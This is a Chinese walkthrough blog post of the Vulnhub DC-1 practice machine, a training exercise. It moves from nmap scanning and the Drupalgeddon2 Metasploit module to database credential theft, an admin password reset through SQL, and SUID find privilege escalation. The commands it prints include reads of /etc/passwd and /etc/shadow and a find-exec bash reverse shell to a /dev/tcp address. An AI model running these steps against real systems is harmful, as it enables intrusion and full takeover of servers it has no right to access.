Vulnhub-DC-1实战靶场

目录

前言

一. 环境搭建

1.准备工具

2.靶场准备

二. 渗透过程

1. 信息收集

探测目标IP地址

探测目标IP开放端口

网页信息收集

2. 漏洞查找与利用

2.1弱口令

2.2Drupalgeddon2

3. Getshell

3.1交互式shell

3.2flag1

3.3Linux信息收集

4. 数据库渗透

4.1flag2,数据库用户密码

4.2数据库信息收集

5. 用户密码爆破

5.1hash解密(失败)

5.2修改密码(成功),flag3

6. Linux提权

6.1find 指令提权

6.2find命令nc监听反弹shell


前言

一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。

本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。

一. 环境搭建

1.准备工具

虚拟机Kali:IP-192.168.111.129

DC-1靶场机:

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2.靶场准备

更改网络适配器为NAT模式:

二. 渗透过程

1. 信息收集

探测目标IP地址

nmap探测nat网段存活主机:已知kali的IP为192.168.111.129,则得到靶机IP为192.168.111.136。

nmap -sP 192.168.111.0/24

探测目标IP开放端口

使用nmap探测靶机开放端口:可以看到开放22、80、111端口,确定有http服务。

nmap -sS 192.168.111.136

网页信息收集

在kali上访问一下靶机,发现CMS是Drupal版本7.

2. 漏洞查找与利用

2.1弱口令

通过burp测试一下弱口令,爆不出来,而且需要认证,感觉好麻烦,试试cms相关漏洞。

2.2Drupalgeddon2

Searchsploit查一下Drupal7相关漏洞:

(官方指南:Exploit Database SearchSploit Manual

开启msf查找一下可以利用的漏洞:先选择Rank‘excellent’、Check‘Yes’和日期最新的利用,与searchsploit结果对比一下,发现可以选择no.1。

选择drupalgeddon2,设置好session,run执行:成功上线

3. Getshell

3.1交互式shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

3.2flag1

Shell后先ls一下看看,发现一个flag1.txt:

cat查看一下,大概意思是提示所有cms需要配置文件,所以让我们去找drupal的配置文件。

3.3Linux信息收集

先不急着找配置文件,既然已经进来了就收集一波信息。

1>DNS客户机配置文件(虽然对于这次靶场没啥用)

cat /etc/resolv.conf

2>系统用户配置文件

cat /etc/passwd

哦吼,发现了一个flag4,路径是/home/flag4,那就提前看一下flag4的内容好了:

翻译一下大概是说“用同样的方法找到存在root里的flag”,不明所以,不过应该要求我们提权(一会再搞)。

3>查存储的用户密码信息:没有权限

cat /etc/shadow

4>我是谁:

Whoami/who -a

5>查看进程信息:

发现了mysql进程,一会试试爆库。

ps aux

6>简单看一下刚进来时各个文件夹内都有什么文件:

4. 数据库渗透

4.1flag2,数据库用户密码

简单过一遍linux信息后,回来根据提示去找drupal配置文件。

根据相关链接:

Step 3: Create settings.php and the files directory | Installing Drupal 7 | Drupal Wiki guide on Drupal.org

[译] Docker Workflow(二):存储问题 - 开发者头条

我们可以知道Drupal会在sites/default/files目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以现在应该去找到这个文件。

首先进入sites/default/files,逛了一圈没有东西:

返回上级目录,发现了settings.php:

查看settings.php文件内容:嘿嘿,找到了flag2,同时还发现了数据库用户及密码。

4.2数据库信息收集

使用刚刚得到的用户密码登录数据库:

查看表信息:发现一个users表

查看users表信息,发现用户密码:

(加密的密码试试破解)

5. 用户密码爆破

5.1hash解密(失败)

先用kali自带的hash工具过一下密码(加盐了没用)

加了盐没办法,不过根据打过的红日3靶场可以试试其他方法,即新建新的用户密码或修改已有的密码。

5.2修改密码(成功),flag3

网上搜一搜drupal修改密码,发现Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。

巧了,之前搜集信息时恰好在scripts目录下发现了该脚本。

当然也可以使用find找一下:

find / -name ‘hash

通过该脚本新设置一个密码‘123456’:

scripts/password-hash.sh ‘123456’> test.txt

再次进入数据库更新一下admin的密码:

update users set pass=’you-password’ where uid=1;

使用admin 123456,登录Drupal:

Home里搜索一下,发现flag3:

6. Linux提权

6.1find 指令提权

首先找一下find路径:

which find

再检查一下find是否有suid权限:

ls -l /usr/bin/find

最后使用find命令执行一下‘whoami’发现是root权限:

touch getroot

find / -type f -name getroot -exec “whoami” \;

6.2find命令nc监听反弹shell

先在kali上开启nc监听:

nc -lvvnp 6666

Msf中执行构建好的find命令:

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.111.129/6666 0>&1 \;

成功shell上线:(root权限)

在/root中找到最终的flag:

 

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值